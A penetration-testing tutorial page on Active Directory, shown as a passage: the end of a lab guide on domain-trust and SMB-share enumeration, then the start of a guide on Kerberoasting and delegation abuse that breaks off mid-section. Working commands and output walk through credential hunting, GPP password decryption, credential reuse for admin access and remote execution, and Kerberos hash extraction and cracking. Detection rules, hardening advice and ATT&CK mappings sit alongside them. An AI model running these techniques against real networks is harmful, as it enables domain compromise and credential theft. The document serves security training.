svc_sql SQL service account - see setup_notes
helpdesk Tier 2 helpdesk
That description on svc_sql is a breadcrumb pointing straight at the NETLOGON file we will read in Phase 4.
BloodHound
Collect everything, trusts included. Run SharpHound from the foothold:
PS C:\> .\SharpHound.exe --CollectionMethod All,Trusts --Domain corp.local --ZipFilename corp_data.zip
2024-06-12T14:22:01.55-04:00|INFORMATION|Initializing SharpHound at 2:22 PM on 6/12/2024
2024-06-12T14:22:02.10-04:00|INFORMATION|Loaded cache with stats: 0 ID to type mappings.
2024-06-12T14:22:45.11-04:00|INFORMATION|Status: 1842 objects finished (+1842 41.86/s) -- Using 84 MB RAM
2024-06-12T14:22:46.88-04:00|INFORMATION|Enumeration finished in 00:00:45.77
2024-06-12T14:22:47.99-04:00|INFORMATION|SharpHound Enumeration Completed at 2:22 PM on 6/12/2024! Happy Graphing!
Load the zip into BloodHound CE and run the built-in queries plus a couple of raw Cypher queries:
// Map every trust edge in the graph
MATCH (n:Domain)-[r:TrustedBy]->(m:Domain) RETURN n,r,m
// Shortest path from your owned user to Domain Admins in the child domain
MATCH p=shortestPath((u:User {name:"JDOE@CORP.LOCAL"})-[*1..]->
(g:Group {name:"DOMAIN ADMINS@CHILD.CORP.LOCAL"})) RETURN p
The graph confirms the TrustedBy edges between CORP.LOCAL, CHILD.CORP.LOCAL, and PARTNER.LOCAL, and any cross-domain admin path the data supports. Now we know where the doors are. Time to find what is behind them.
5. SMB Share Discovery: From LDAP Computer List to NetShareEnum
Share hunting is a two-stage operation. First, get the list of computers from LDAP. Second, ask each one for its shares.
Share enumeration tools call DsGetDcName() to find a DC, query LDAP for every objectClass=computer, then fire NetShareEnum() at each host. NetShareEnum is an MSRPC call that travels over SMB through the srvsvc named pipe, and that pipe is only reachable via the IPC$ administrative share. That detail matters for detection: a single source touching IPC$ on dozens of hosts in seconds is the fingerprint of automated share discovery.
Enumerate the computer list first
Get-DomainComputer -Properties dnshostname,operatingsystem | ft
dnshostname operatingsystem
----------- ---------------
DC01.corp.local Windows Server 2022 Standard
FS01.corp.local Windows Server 2019 Standard
WS01.corp.local Windows 11 Enterprise
Discover shares with NetExec
NetExec (the maintained CrackMapExec successor) sweeps a subnet and reports shares with your access level:
netexec smb 192.168.10.0/24 -u jdoe -p 'Password1' --shares
SMB 192.168.10.10 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:corp.local) (signing:True) (SMBv1:False)
SMB 192.168.10.10 445 DC01 [+] corp.local\jdoe:Password1
SMB 192.168.10.10 445 DC01 Share Permissions Remark
SMB 192.168.10.10 445 DC01 ----- ----------- ------
SMB 192.168.10.10 445 DC01 NETLOGON READ Logon server share
SMB 192.168.10.10 445 DC01 SYSVOL READ Logon server share
SMB 192.168.10.20 445 FS01 [*] Windows Server 2019 Build 17763 x64 (name:FS01) (domain:corp.local) (signing:False) (SMBv1:False)
SMB 192.168.10.20 445 FS01 [+] corp.local\jdoe:Password1
SMB 192.168.10.20 445 FS01 Share Permissions Remark
SMB 192.168.10.20 445 FS01 ----- ----------- ------
SMB 192.168.10.20 445 FS01 ADMIN$ Remote Admin
SMB 192.168.10.20 445 FS01 Backups READ
SMB 192.168.10.20 445 FS01 C$ Default share
SMB 192.168.10.20 445 FS01 IPC$ READ Remote IPC
SMB 192.168.10.20 445 FS01 IT_Scripts READ
SMB 192.168.10.20 445 FS01 NETLOGON READ Logon server share
Backups and IT_Scripts on FS01 are non-default STYPE_DISKTREE shares granting READ to a plain domain user. Also note signing:False on FS01, an NTLM relay opportunity for another day.
Confirm and test access with SMBMap and Nmap
SMBMap validates exactly what you can read or write per share, and supports pass-the-hash:
smbmap -u jdoe -p 'Password1' -d corp.local -H 192.168.10.20
[+] IP: 192.168.10.20:445 Name: FS01.corp.local Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
Backups READ ONLY
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
IT_Scripts READ ONLY
NETLOGON READ ONLY Logon server share
The Nmap NSE scripts corroborate findings from a third angle and are handy when you want a portable, audit-friendly artifact:
nmap -p 445 --script smb-enum-shares \
--script-args smbusername=jdoe,smbpassword=Password1 192.168.10.20
PORT STATE SERVICE
445/tcp open microsoft-ds
| smb-enum-shares:
| account_used: corp.local\jdoe
| \\192.168.10.20\Backups:
| Type: STYPE_DISKTREE
| Anonymous access: <none>
| Current user access: READ
| \\192.168.10.20\IT_Scripts:
| Type: STYPE_DISKTREE
| Current user access: READ
PowerView from the foothold
If you would rather stay on WS01 and avoid network tooling, PowerView’s Find-DomainShare wraps NetShareEnum against every computer object:
Find-DomainShare -CheckShareAccess
Name Type Remark ComputerName
---- ---- ------ ------------
Backups 0 FS01.corp.local
IT_Scripts 0 FS01.corp.local
NETLOGON 0 Logon server share DC01.corp.local
SYSVOL 0 Logon server share DC01.corp.local
-CheckShareAccess filters down to shares the current token can actually open, which is what you want when the domain has hundreds of computers.

6. Automated Share Permission Analysis
Knowing a share exists is not the same as knowing it is misconfigured. PowerHuntShares automates the whole pipeline: enumerate domain computers, filter to those with TCP 445 open, enumerate shares and their NTFS/share ACLs, then flag excessive privileges.
Invoke-HuntSMBShares -Threads 50 -OutputDirectory C:\Temp\ `
-DomainController 192.168.10.10 -Credential corp\jdoe
---------------------------------------------------------------
SHARE ANALYSIS
---------------------------------------------------------------
[*] 3 domain computers found.
[*] 2 computers responded on TCP 445.
[*] 9 shares discovered.
[*] 4 shares excluded (default).
[*] 5 shares remaining for analysis.
[*] 2 shares configured with excessive privileges.
[*] 2 shares allow READ access to Everyone / Authenticated Users.
[*] 0 shares allow WRITE access.
Excessive-privilege shares written to:
C:\Temp\SmbShareHunt-20240612\Results\Inventory-Excessive-Privileges.csv
Open Inventory-Excessive-Privileges.csv. The high-risk indicators are ACEs that grant Everyone, BUILTIN\Users, or Authenticated Users read or write at the share or NTFS layer:
ComputerName,ShareName,SharePath,IdentityReference,FileSystemRights,ShareAccess
FS01.corp.local,Backups,\\FS01\Backups,Everyone,Read,Read
FS01.corp.local,IT_Scripts,\\FS01\IT_Scripts,NT AUTHORITY\Authenticated Users,ReadAndExecute,Read
Two findings, both readable by any account in the domain. Everyone: Read on Backups is the worst because it does not even require domain membership. These are the shares to crawl first.
7. File Hunting and Credential Extraction
Now the payoff. The fastest tool for credential hunting at scale is Snaffler, which crawls reachable shares and classifies files by regex rules into severity buckets (Black is most interesting, then Red, Yellow, Green).
Snaffler.exe -s -d corp.local -o snaffler.log -v data
[Share] {Black}(\\FS01\Backups)
[Share] {Black}(\\FS01\IT_Scripts)
[File] {Black}<KeepCertExtRegex|R|id_rsa|1.6kB>(\\FS01\Backups\keys\id_rsa) -----BEGIN OPENSSH PRIVATE KEY-----
[File] {Red}<KeepConfigRegexRed|R|web.config|1.2kB>(\\FS01\Backups\web.config) <add key="DBPassword" value="Summer2024!"/>
[File] {Red}<KeepPasswordRegexRed|R|unattend.xml|2.1kB>(\\FS01\Backups\unattend.xml) <Value>LabPass1</Value>
[File] {Black}<KeepInScript|R|deploy.ps1|312B>(\\FS01\IT_Scripts\deploy.ps1) $cred = "Summer2024!"
[File] {Red}<KeepPasswordRegexRed|R|setup_notes.txt|48B>(\\DC02\NETLOGON\setup_notes.txt) svc_sql / P@ssw0rd123
Five hits in seconds: an SSH private key, a DB password in web.config, an autologon password in unattend.xml, a hardcoded credential in a deploy script, and the svc_sql password our LDAP description field hinted at. This is what every internal engagement looks like.
Manual content sweep
When you cannot drop a binary, a PowerShell sweep does the same job with built-ins:
Get-ChildItem \\FS01\Backups -Recurse -Include *.xml,*.config,*.ps1,*.bat,*.ini,*.txt -ErrorAction SilentlyContinue |
Select-String -Pattern 'password|passwd|cred|secret|token|cpassword' |
Select-Object Path,LineNumber,Line | Format-Table -Wrap
Path LineNumber Line
---- ---------- ----
\\FS01\Backups\web.config 14 <add key="DBPassword" value="Summer2024!"/>
\\FS01\Backups\unattend.xml 42 <Value>LabPass1</Value>
SYSVOL and Group Policy Preferences
The classic that still hits hard. Group Policy Preferences once let admins push credentials, and those passwords landed in Groups.xml files in SYSVOL encrypted with a static AES key that Microsoft published. Every authenticated user can read SYSVOL, so every authenticated user can read and decrypt those passwords. This maps to T1552.006.
Enumerate first. PowerSploit’s Get-GPPPassword finds and decrypts them automatically:
Get-GPPPassword -Verbose
VERBOSE: Searching \\corp.local\SYSVOL\corp.local\Policies for Groups.xml
VERBOSE: Found \\corp.local\SYSVOL\corp.local\Policies\{A2F3C1D4-9E55-4F1B-9C77-1B2E3F4A5B6C}\Machine\Preferences\Groups\Groups.xml
UserNames : {Administrator (built-in)}
NewName : [BLANK]
Passwords : {Summer2024!}
File : \\corp.local\SYSVOL\corp.local\Policies\{A2F3C1D4-9E55-4F1B-9C77-1B2E3F4A5B6C}\Machine\Preferences\Groups\Groups.xml
To do it by hand, read the file and pull the cpassword:
Get-Content "\\DC01\SYSVOL\corp.local\Policies\{A2F3C1D4-9E55-4F1B-9C77-1B2E3F4A5B6C}\Machine\Preferences\Groups\Groups.xml"
<?xml version="1.0" encoding="utf-8"?>
<Groups>
<User name="Administrator (built-in)" image="2" changed="2024-03-14 10:11:22">
<Properties action="U" newName="" fullName=""
cpassword="j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw"
changeLogon="0" acctDisabled="0" userName="Administrator (built-in)"/>
</User>
</Groups>
Decrypt the cpassword with the public AES key using gpp-decrypt on Kali:
gpp-decrypt "j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw"
Summer2024!
The local Administrator password is Summer2024!. Notice it matches the web.config DB password too, classic password reuse, which means it almost certainly works as the local admin on FS01.
Hunting across the trust
Because the forest trust lets us read foreign SYSVOL and shares, repeat the share discovery against the child and partner subnets:
netexec smb 192.168.20.0/24 -u jdoe -p 'Password1' -d corp.local --shares
SMB 192.168.20.10 445 DC02 [*] Windows Server 2022 Build 20348 x64 (name:DC02) (domain:child.corp.local) (signing:True) (SMBv1:False)
SMB 192.168.20.10 445 DC02 [+] corp.local\jdoe:Password1
SMB 192.168.20.10 445 DC02 Share Permissions Remark
SMB 192.168.20.10 445 DC02 NETLOGON READ Logon server share
SMB 192.168.20.10 445 DC02 SYSVOL READ Logon server share
The cross-domain trust authenticated corp\jdoe against DC02 with no extra effort. That is the trust doing its job, and exactly why trust enumeration came first.

8. Lab Walkthrough: End-to-End Trust-to-Credential Chain
Tie it together. The full chain, from low-priv user to credential reuse:
- Trust recon.
nltest /domain_trustsandGet-ADTrustrevealed an intra-forest trust tochild.corp.localand a forest trust topartner.localwithSIDFilteringQuarantined : False. - Forest mapping. PowerView and BloodHound graphed the
TrustedByedges and confirmedjdoecan query foreign domains. - Share discovery. NetExec found
Backups(Everyone: Read) andIT_Scripts(Authenticated Users: Read) onFS01. - Permission analysis. PowerHuntShares flagged both as excessive-privilege shares.
- File hunting. Snaffler and
Get-GPPPasswordrecoveredSummer2024!,LabPass1,P@ssw0rd123, anid_rsa, and the GPP local admin password. - Credential reuse / lateral movement PoC. Validate the recovered local admin credential.
netexec smb 192.168.10.20 -u Administrator -p 'Summer2024!' --local-auth
SMB 192.168.10.20 445 FS01 [*] Windows Server 2019 Build 17763 x64 (name:FS01) (domain:corp.local) (signing:False) (SMBv1:False)
SMB 192.168.10.20 445 FS01 [+] FS01\Administrator:Summer2024! (Pwn3d!)
(Pwn3d!) means the GPP-recovered password is local admin on FS01. From here you would dump SAM/LSASS for more credentials. Validate the svc_sql domain credential too:
netexec smb 192.168.10.10 -u svc_sql -p 'P@ssw0rd123' -d corp.local -x "whoami /all"
SMB 192.168.10.10 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:corp.local) (signing:True) (SMBv1:False)
SMB 192.168.10.10 445 DC01 [+] corp.local\svc_sql:P@ssw0rd123
SMB 192.168.10.10 445 DC01 [+] Executed command via wmiexec
SMB 192.168.10.10 445 DC01 corp\svc_sql S-1-5-21-1899771348-... SeServiceLogonRight ...
A working domain service account, harvested from a text file on a NETLOGON share. No exploit, no malware, just enumeration and a misconfiguration. The forest trust enumeration in step 1 also leaves the SID-history path against partner.local open as a follow-on, since SID filtering is disabled, but that is its own tutorial.
9. Common Attacker Techniques
| Technique | Description |
|---|---|
| Trust enumeration | nltest, Get-ADTrust, and DSEnumerateDomainTrusts() to map domains, direction, and SID-filter state. |
| Cross-trust account enumeration | Querying foreign-domain users/groups over a transitive trust to find targets. |
| Mass share discovery | NetShareEnum over srvsvc/IPC$ against every computer object pulled from LDAP. |
| Excessive-privilege share abuse | Reading shares granting Everyone / Authenticated Users access. |
| Credential file hunting | Snaffler/SmbCrawler crawling for web.config, unattend.xml, id_rsa, .kdbx. |
| GPP cpassword decryption | Recovering and decrypting Groups.xml passwords from SYSVOL. |
| Credential reuse / PtH | Replaying recovered passwords or NTLM hashes over SMB for lateral movement. |
| SID-history injection | Abusing trusts with SID filtering disabled to forge privileged SIDs across the boundary. |
10. Detection, Threat Hunting, and Hardening
Every step above is loud if you are listening. Pair each phase with the telemetry that catches it.
Windows Security and Directory Service events
| Event ID | Source | Trigger |
|---|---|---|
4688 | Security | Process creation; with command-line auditing, catches nltest.exe, net.exe view, and PowerShell share cmdlets. |
5140 | Security | Network share object accessed; gives IpAddress and SubjectUserName. |
5145 | Security | Detailed file-share access check; logs the relative target path and access type. |
4663 | Security | Object access on files/dirs when a SACL is set; catches reads off sensitive shares. |
4776 | Security | NTLM credential validation; high volume from one source signals reuse/spraying. |
4768 / 4769 | Security | Kerberos TGT/TGS; cross-domain TGS requests expose inter-domain movement. |
1644 | Directory Service (DC) | LDAP search operations; not logged by default, surfaces bulk SharpHound/PowerView queries. |
Enable 1644 by setting HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics value 15 Field Engineering to 5.
Sysmon events
| Sysmon EID | What to hunt |
|---|---|
1 (Process Create) | nltest.exe, net.exe, PowerShell with share/trust cmdlets via CommandLine. |
3 (Network Connect) | Mass outbound 445/tcp to many hosts in a short window. |
11 (File Create) | Snaffler/SharpHound writing log/ZIP output to disk. |
17/18 (Named Pipe) | srvsvc pipe creation/connection from share enumeration. |
22 (DNS Query) | Bulk _ldap._tcp.dc._msdcs.* SRV lookups during trust/DC enumeration. |
ETW providers worth tapping: Microsoft-Windows-LDAP-Client (client-side query filters, where operatingSystem attribute requests betray computer enumeration), Microsoft-Windows-SMBClient/Security, and Microsoft-Windows-SMBServer/Security.
Sigma rules
Trust discovery via nltest:
title: Domain Trust Discovery via Nltest
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 1
Image|endswith: '\nltest.exe'
CommandLine|contains:
- '/domain_trusts'
- '/all_trusts'
- '/dclist'
condition: selection
level: medium
Mass IPC$ access indicating share sweeping:
title: Mass IPC$ Access Indicating Share Enumeration
logsource:
product: windows
service: security
detection:
selection:
EventID: 5140
ShareName: 'IPC$'
timeframe: 30s
condition: selection | count(SubjectUserName) by IpAddress > 10
level: high
SYSVOL GPP password file access:
title: Group Policy Preferences Password File Access
logsource:
product: windows
service: security
detection:
selection:
EventID: 5145
RelativeTargetName|endswith: '\Groups.xml'
condition: selection
level: high
Hardening
| Mitigation | Description |
|---|---|
| Enable SID filtering on trusts | netdom trust <trusting> /domain:<trusted> /quarantine:Yes; blocks SID-history abuse across the boundary. |
| Remove GPP passwords | Apply KB2962486, delete legacy Groups.xml, rotate every affected account. |
| Audit share permissions | Hunt Everyone / Authenticated Users ACEs on roots and profile shares regularly. |
| Strip secrets from shares | Remove or encrypt cleartext passwords, SSH keys, and dumps from general-purpose shares. |
| Restrict null-session enum | Set RestrictNullSessAccess and enforce SMB signing to blunt relay/anon NetShareEnum. |
| Limit LDAP read scope | ACL sensitive attributes so regular users cannot bulk-read msDS-* and trust objects. |
| Enable EID 1644 and 5140/5145 | Turn on DC LDAP diagnostic logging and Object Access -> File Share auditing. |
| Selective Authentication | On forest trusts, require explicit resource grants instead of transitive access. |
| Tiered administration | Never log Tier 0 credentials into Tier 1/2 systems where they land in files. |

11. Tools for Trust and Share Analysis
| Tool | Description | Link |
|---|---|---|
| Nltest / netdom | Built-in trust and DC enumeration | learn.microsoft.com |
| PowerView | Get-DomainTrust, Find-DomainShare, Find-InterestingDomainShareFile | github.com |
| BloodHound / SharpHound | Graphs trusts and cross-domain attack paths | bloodhoundenterprise.io |
| NetExec | Share enumeration, credential testing, lateral PoC | netexec.wiki |
| SMBMap | Per-share read/write testing, pass-the-hash | github.com |
| PowerHuntShares | Automated share permission and excessive-privilege analysis | github.com |
| Snaffler | Recursive credential/file hunting across shares | github.com |
| Impacket | GetADUsers.py, wmiexec.py, ticket tooling | github.com |
| gpp-decrypt | Decrypts SYSVOL GPP cpassword values | kali.org |
| AdFind | LDAP query of trusts and OUs (-f "(objectClass=trustedDomain)") | joeware.net |
12. MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| Domain Trust Discovery | T1482 | EID 4688/Sysmon 1 for nltest; EID 1644 for LDAP trust queries |
| Network Share Discovery | T1135 | EID 5140/5145; Sysmon 17/18 on srvsvc; mass IPC$ access |
| File and Directory Discovery | T1083 | EID 4663 with SACL; recursive listing patterns |
| Data from Network Shared Drive | T1039 | EID 5145 read access on sensitive shares; Sysmon 11 output files |
| Credentials in Files | T1552.001 | 4663 reads of web.config/unattend.xml; Snaffler artifacts |
| Group Policy Preferences | T1552.006 | EID 5145 for Groups.xml; SYSVOL access auditing |
| Account Discovery: Domain Account | T1087.002 | net user /domain, LDAP user/group queries; EID 1644 |
| Remote Services: SMB Admin Shares | T1021.002 | EID 4624 type 3 + 5140 ADMIN$/C$ access |
| Use Alternate Auth Material: Pass the Hash | T1550.002 | 4776 volume; NTLM logons without preceding interactive auth |
| Access Token Manipulation: SID-History Injection | T1134.005 | 4769 cross-domain with anomalous PAC SIDs; trust quarantine state |
Summary
- Trust enumeration is reconnaissance for lateral movement: it tells you which domains and forests your foothold can reach before you spend a single credential.
- Intra-forest trusts are transitive by design, and forest trusts with
SIDFilteringQuarantined : Falseare prime escalation paths via SID-history injection (T1134.005). NetShareEnumover thesrvsvcpipe andIPC$drives mass share discovery; tools like NetExec, PowerHuntShares, and Snaffler turn that into excessive-privilege findings and recovered secrets in minutes.- The fastest wins are still misconfigured shares and SYSVOL GPP
cpasswordfiles, both decryptable or readable by any domain user, leading straight to credential reuse. - Detect the chain with Sysmon
1/3/11/17/18, Security5140/5145/4663, and DC LDAP diagnostic1644, then harden by enabling SID filtering, stripping secrets from shares, and auditing share ACLs.
Related Tutorials
- OSINT for People and Credentials: LinkedIn, Breach Data, and Email Harvesting
- Finding the EIP Offset: Pattern Creation and Cyclic Patterns
- Mapping CTI Reports to ATT&CK TTPs: A Step-by-Step Methodology
- Passive OSINT: Mapping the Target Without Touching It
- PE File Format Deep Dive
References
SPN and Delegation Enumeration: Kerberoastable Accounts, Unconstrained, Constrained, and Resource-Based Delegation
Objective: Walk an authenticated domain foothold all the way to Domain Admin by enumerating Service Principal Names and the three Kerberos delegation models, then abusing each one: Kerberoasting weak service passwords, stealing a DC’s TGT through unconstrained delegation, riding S4U through constrained delegation, and taking over a computer object with resource-based constrained delegation. Every attack is paired with the enumeration that finds it and the telemetry that catches it.
Delegation is the part of Active Directory that punishes the gap between “configured years ago” and “still understood.” A service account someone created in 2016 with a six-character password, a print server flagged for unconstrained delegation that nobody decommissioned, a helpdesk group with GenericWrite over half the workstations: each of these collapses the domain when you know what to look for. This guide is enumeration-first by design. You find the opportunity before you ever fire a payload, because in a real engagement the finding is the deliverable and the exploit is just confirmation.
Everything below runs against a self-built lab. Nothing here is aimed at production. Build the range, break it, then read the detection section and learn to see it from the blue side.
1. Lab Build
Stand up one Windows Server 2022 domain controller and three Windows 10 Pro members in VirtualBox or VMware on a host-only network (192.168.56.0/24). Promote DC01 to a forest named lab.local, then create the objects below with their deliberate misconfigurations.
| Machine / Account | Role | Deliberate misconfiguration |
|---|---|---|
DC01.lab.local (192.168.56.10) | Domain Controller | Print Spooler left running; default MachineAccountQuota=10 |
WEB01.lab.local | IIS host | Trusted for unconstrained delegation |
SQL01.lab.local | App server | n/a (hosts svc_sql) |
COMP01.lab.local | Workstation | RBCD takeover target |
svc_iis | Domain user | SPN HTTP/WEB01.lab.local, RC4 enabled, weak password Summer2023! |
svc_sql | Domain user | TRUSTED_TO_AUTH_FOR_DELEGATION, msDS-AllowedToDelegateTo = cifs/DC01.lab.local, password SqlPass1! |
lowpriv | Domain user | Attacker foothold, password LowPass1!, holds GenericWrite over COMP01$ |
Provision the delegation flags and the RBCD-precursor ACE on the DC:
# Unconstrained delegation on WEB01
Set-ADAccountControl -Identity WEB01$ -TrustedForDelegation $true
# Constrained delegation w/ protocol transition on svc_sql
Set-ADUser svc_sql -Add @{'msDS-AllowedToDelegateTo'='cifs/DC01.lab.local'}
Set-ADAccountControl svc_sql -TrustedToAuthForDelegation $true
# GenericWrite ACE for lowpriv over COMP01 (RBCD primitive)
dsacls "CN=COMP01,CN=Computers,DC=lab,DC=local" /G "lab\lowpriv:WP;;"
The command completed successfully.
The attacker box is Kali at 192.168.56.50 with Impacket, plus a Windows attack VM carrying Rubeus, PowerView, PowerMad, and Mimikatz for the in-domain operations.
2. Kerberos Authentication Refresher
You cannot abuse Kerberos delegation without a working mental model of the ticket exchange, so build that first.
Kerberos is a ticket-based protocol with three parties: the client, the Key Distribution Center (KDC, which runs on every DC), and the service. The KDC has two faces. The Authentication Service (AS) issues the first ticket, and the Ticket-Granting Service (TGS) issues service tickets thereafter.
The flow:
- AS-REQ / AS-REP. The client proves it knows its own password (it encrypts a timestamp with the hash of its password as the pre-auth) and receives a Ticket-Granting Ticket (TGT). The TGT is encrypted with the
krbtgtaccount’s secret key. The client cannot read it; it only stores and presents it. - TGS-REQ / TGS-REP. When the client wants to reach a service, it sends the TGT plus the target service’s SPN to the TGS. The KDC looks up which account owns that SPN, then returns a service ticket (TGS) encrypted with that service account’s key (its NTLM hash for RC4, or its AES key).
- AP-REQ. The client presents the service ticket to the service. The service decrypts it with its own key, reads the embedded PAC (Privilege Attribute Certificate), and trusts the group memberships inside it for authorization.
| Concept | What it actually does |
|---|---|
| TGT | Identity token issued on AS-REP, encrypted with the krbtgt key, presented back to the KDC |
| TGS / service ticket | Issued by the TGS, encrypted with the service account’s key, presented to the service |
| PAC | Authorization blob inside the ticket carrying SIDs and group membership |
| Encryption type (etype) | 0x17/23 = RC4-HMAC (NTLM hash is the key), 0x11/17 = AES128, 0x12/18 = AES256 |
| Forwardable flag | Permits a ticket to be re-presented in an S4U2Proxy request |
The single fact that makes Kerberoasting possible: a service ticket is encrypted with the service account’s password-derived key, and the KDC will hand a service ticket to any authenticated principal that asks for an SPN. If that key is the RC4 key (the NTLM hash of a human-chosen password), an attacker can crack it offline. AES keys are derived through PBKDF2-style iteration and are vastly harder to attack, which is why encryption type matters at every step below.

3. Service Principal Names: Structure, Registration, and Enumeration
A Service Principal Name is the string Kerberos uses to map a service instance to the account that runs it. Format:
ServiceClass/Host:Port/ServiceName
HTTP/WEB01.lab.local
MSSQLSvc/SQL01.lab.local:1433
SPNs live in the servicePrincipalName LDAP attribute. They sit on two kinds of objects, and the distinction is everything:
- Computer accounts auto-register SPNs (
HOST/,CIFS/,LDAP/, etc.). Their passwords are 120+ character machine-generated secrets that rotate every 30 days. Cracking them offline is pointless. - User accounts get SPNs when an admin runs a service under a domain user. Those passwords are human-chosen. A user object with a populated
servicePrincipalNameis a Kerberoasting target.
Enumerate SPNs with raw LDAP
The cleanest enumeration is the LDAP filter itself, which you can run from any authenticated context. This is what every tool wraps.
# Find user objects (not computers) that have an SPN
ldapsearch -x -H ldap://192.168.56.10 -D 'lowpriv@lab.local' -w 'LowPass1!' \
-b 'DC=lab,DC=local' \
'(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))' \
sAMAccountName servicePrincipalName msDS-SupportedEncryptionTypes
# svc_iis, Users, lab.local
dn: CN=svc_iis,CN=Users,DC=lab,DC=local
sAMAccountName: svc_iis
servicePrincipalName: HTTP/WEB01.lab.local
msDS-SupportedEncryptionTypes: 4
# svc_sql, Users, lab.local
dn: CN=svc_sql,CN=Users,DC=lab,DC=local
sAMAccountName: svc_sql
servicePrincipalName: MSSQLSvc/SQL01.lab.local:1433
Two findings. svc_iis has msDS-SupportedEncryptionTypes: 4, which is the RC4-only bit, so its ticket comes back as etype 23 and is the soft target. svc_sql has no encryption-type value set, which means it follows the domain default and is also a candidate. Note svc_sql also carries an SPN, which means we can get its hash and later abuse its delegation rights.
Enumerate with PowerView from a Windows foothold
Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname, `
@{N='enctypes';E={$_.'msds-supportedencryptiontypes'}}
samaccountname serviceprincipalname enctypes
-------------- -------------------- --------
svc_iis HTTP/WEB01.lab.local 4
svc_sql MSSQLSvc/SQL01.lab.local:1433
krbtgt kadmin/changepw
Ignore krbtgt; it is a built-in and its password is the domain’s crown jewel, not something you roast. The two svc_* accounts are the real findings.
The same view in BloodHound
Run SharpHound, import, and the Kerberoastable Users pre-built query lights up svc_iis and svc_sql. BloodHound’s value is not the list, it is the graph: it shows you what those accounts can reach once cracked, which is how you turn a roast into a path.
sharphound -c All -d lab.local -u lowpriv -p 'LowPass1!' --domaincontroller 192.168.56.10
2024-05-12T14:02:11 INFO Resolved Collection Methods: Group, Sessions, ...
2024-05-12T14:02:19 INFO Status: 312 objects finished (+312)
2024-05-12T14:02:20 INFO Enumeration finished, compressing into 20240512140220_BloodHound.zip
4. Kerberoasting: Mechanics and Exploitation
The enumeration gave us the targets. Now the why: any authenticated user can send a TGS-REQ for HTTP/WEB01.lab.local. The KDC does not check whether you are authorized to use that service; that is the service’s job at AP-REQ time. The KDC simply encrypts the ticket with svc_iis‘s key and hands it back. If that key is RC4 (NTLM hash of Summer2023!), you crack it offline at full GPU speed, never touching the network again.
Request and extract hashes (Impacket, Linux)
GetUserSPNs.py lab.local/lowpriv:'LowPass1!' -dc-ip 192.168.56.10 -request -outputfile kerbhashes.txt
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon
---------------------------- ------- -------- ------------------- -------------------
HTTP/WEB01.lab.local svc_iis 2023-06-01 09:14:22 2024-05-10 22:31:07
MSSQLSvc/SQL01.lab.local:1433 svc_sql 2023-06-01 09:18:55 2024-05-11 08:02:44
[*] Saved TGS hashes to kerbhashes.txt
$krb5tgs$23$*svc_iis$LAB.LOCAL$HTTP/WEB01.lab.local*$a1f3...c2d9$8e0b6f... (truncated)
$krb5tgs$23$*svc_sql$LAB.LOCAL$MSSQLSvc/SQL01.lab.local~1433*$77ce...91ab$f0a2...
The $krb5tgs$23$ prefix confirms RC4 (etype 23). If you see $krb5tgs$18$ that is AES256 and you switch hashcat mode. RC4 prefixes start $krb5tgs$23$*, AES128 $krb5tgs$17$*, AES256 $krb5tgs$18$*.
In-memory request from Windows (Rubeus)
/stats first so you know what you are about to touch and how loud it will be.
Rubeus.exe kerberoast /stats
[*] Total kerberoastable users : 2
------------------------------------------------------------
| Supported Encryption Type | Count |
------------------------------------------------------------
| RC4_HMAC_DEFAULT | 1 |
| (unspecified - likely RC4) | 1 |
------------------------------------------------------------
Rubeus.exe kerberoast /outfile:hashes.txt /rc4opsec
[*] Roasting accounts with RC4 enabled (/rc4opsec)
[*] SamAccountName : svc_iis
[*] DistinguishedName : CN=svc_iis,CN=Users,DC=lab,DC=local
[*] ServicePrincipalName : HTTP/WEB01.lab.local
[*] Hash written to hashes.txt
/rc4opsec only roasts accounts already configured for RC4 so you do not trip the “RC4 requested in an AES domain” detection. Drop the flag only when you must roast an AES account.
Crack offline (hashcat)
hashcat -m 13100 kerbhashes.txt rockyou.txt --rules-file best64.rule
$krb5tgs$23$*svc_iis$LAB.LOCAL$HTTP/WEB01.lab.local*$a1f3...:Summer2023!
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Recovered........: 1/2 (50.00%) Digests
svc_iis cracks to Summer2023!. Mode 13100 is RC4 TGS, 19600 is AES128, 19700 is AES256. The AES modes need real wordlist quality because GPU rates collapse against the iteration count.
Targeted Kerberoasting
If you only have GenericWrite over a user (no SPN yet), write a fake SPN, roast, and clear it. This converts an ACL edge into a crackable hash.
Set-DomainObject -Identity helpdesk_svc -Set @{serviceprincipalname='fake/roastme'} -Verbose
Rubeus.exe kerberoast /user:helpdesk_svc /outfile:targeted.txt
Set-DomainObject -Identity helpdesk_svc -Clear serviceprincipalname
[Set-DomainObject] Setting 'serviceprincipalname' to 'fake/roastme' for object 'helpdesk_svc'
[*] Hash written to targeted.txt
[Set-DomainObject] Clearing 'serviceprincipalname' for object 'helpdesk_svc'
Kerberoasting deliberately excludes computer accounts because their machine-generated passwords are not crackable. A non-empty servicePrincipalName on a user is the entire signal.
5. Unconstrained Delegation: Enumeration and TGT Theft
Unconstrained delegation is the oldest and most dangerous model. When a host is “trusted for delegation,” any user who authenticates to it via Kerberos has their full TGT cached in the host’s LSASS, so the host can impersonate them to anything. If you own that host, you own every TGT that lands there, including a Domain Controller’s if you can coerce it to connect.
Enumerate unconstrained hosts
The flag is TRUSTED_FOR_DELEGATION (0x80000 / 524288) in userAccountControl. The bitwise LDAP matching rule finds it precisely.
Get-DomainComputer -Unconstrained | Select-Object dnshostname, useraccountcontrol
dnshostname useraccountcontrol
----------- ------------------
DC01.lab.local WORKSTATION_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION, SERVER_TRUST_ACCOUNT
WEB01.lab.local WORKSTATION_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION
# Raw LDAP equivalent
